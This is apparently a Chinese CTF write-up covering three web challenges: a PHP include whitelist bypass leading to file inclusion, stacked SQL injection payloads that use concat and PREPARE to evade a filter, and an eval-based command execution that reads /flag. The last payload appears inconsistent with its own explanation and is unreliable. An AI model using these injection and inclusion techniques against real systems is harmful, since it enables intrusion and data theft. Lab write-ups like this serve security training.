BMZCTF——web
所有题目wp都经过实践。可放心食用。
hctf_2018_warmup
做题思路
打开题目链接,F12查看元素,看到注释有source.php,访问看看
访问目录得到一个php代码,不妨看一看他要表达什么。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
首先看到可利用的点就是这里,白名单的值为source.php和hint.php
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
目前source.php是源码,那么hint.php我们可以访问看下
告诉我们flag在/flaaagg目录下,这也是个有用的信息,可以先记一下,用脚指头想一想,这么多代码的题肯定不能直接结束,我们再往下读一读代码的意思。
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
上面说如果page变量为空的话,或者page变量不是字符串的话,则为false
如果page变量在白名单,则为true
接着往下看。然后if里的第一个判断是判断它接受的是否为空,第二个是判断是否为字符串,第三个将它传给函数check File。都满足后传给函数checkFile.否则打印图片。
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
最后构造payload,在source.php下,用file接收值,接收hint.php下面的flaaagg,flaaagg在hint.php下面多少层就需要我们自己试了
强网杯 2019 随便注
做题思路
打开环境,F12查看环境,亮瞎我的眼,绝了,秀儿
既然他没强制也没绑架不让我们用sqlmap,那我就不用
先依次输1,2,3,4,看一看回显,发现输入3就没数据了。
凭感觉来,直接一个1’;show databases;-- 查库
array(1) { [0]=> string(11) “ctftraining” }
array(1) { [0]=> string(18) “information_schema” }
array(1) { [0]=> string(5) “mysql” }
array(1) { [0]=> string(18) “performance_schema” }
array(1) { [0]=> string(9) “supersqli” }
array(1) { [0]=> string(4) “test” }
再用1’;show tables;–查一下有哪些表
看到flagg表,再细看下面有哪些列,输入1’;show columns from flagg;–
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
最后尝试读取,发现有被拦截,找了几种方法,发现拼接可以绕过,用concat连接字符串。
-1’;use supersqli;set @sql=concat(‘s’,'elect flag
from flagg
');PREPARE BMZ FROM @sql;EXECUTE BMZ;#
WEB_ezeval
做题思路
访问下页面,看到php代码,那么我们就来了解一下
变量cmd是存储post传来的数据,cmd的值未html实体(百度查htmlspecialchars() 函数)
最后eval的意思是把字符串按照 PHP 代码来计算。
上面黑名单禁的system可以用到,作用是执行外部程序,并且显示输出,使用拼接绕过
构造payload。cmd=systemctl(cat /flag)
cat /flag 看到flag